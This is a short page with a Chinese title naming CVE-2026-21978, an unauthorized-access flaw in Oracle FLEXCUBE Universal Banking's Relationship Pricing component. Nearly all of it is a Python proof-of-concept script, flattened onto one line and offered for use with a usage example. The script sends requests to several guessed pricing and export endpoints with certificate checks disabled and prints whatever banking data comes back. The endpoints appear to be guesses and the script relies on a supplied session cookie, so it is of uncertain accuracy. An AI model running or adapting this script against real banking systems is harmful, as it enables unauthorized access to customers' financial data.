CVE-2026-21978 Oracle FLEXCUBE Universal Banking Relationship Pricing未授权访问漏洞

import requests import sys # CVE-2026-21978 PoC - Oracle FLEXCUBE Relationship Pricing Unauthorized Access # Target: Oracle FLEXCUBE Universal Banking # Component: Relationship Pricing def exploit_cve_2026_21978(target_url, session_cookie): """ Exploit for CVE-2026-21978 Attempts to access Relationship Pricing data without proper authorization """ headers = { 'Cookie': f'JSESSIONID={session_cookie}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Target endpoint for Relationship Pricing endpoints = [ '/flexcube/relationshippricing/getPricingDetails', '/flexcube/relationshippricing/fetchAllPricing', '/flexcube/relationshippricing/exportData', '/services/RelationshipPricingService' ] results = [] for endpoint in endpoints: url = f"{target_url.rstrip('/')}{endpoint}" try: # Attempt to retrieve pricing data response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 100: results.append(f"[+] Success: Accessed {endpoint}") results.append(f" Data length: {len(response.content)} bytes") results.append(f" Response preview: {response.text[:200]}") elif response.status_code == 200: results.append(f"[*] Endpoint exists but may require specific parameters: {endpoint}") else: results.append(f"[-] Failed: {endpoint} (Status: {response.status_code})") except requests.RequestException as e: results.append(f"[!] Error accessing {endpoint}: {str(e)}") return '\n'.join(results) if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve_2026_21978.py <target_url> <session_cookie>") print("Example: python cve_2026_21978.py https://bank.example.com 'ABC123XYZ'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2026-21978...") print(exploit_cve_2026_21978(target, cookie))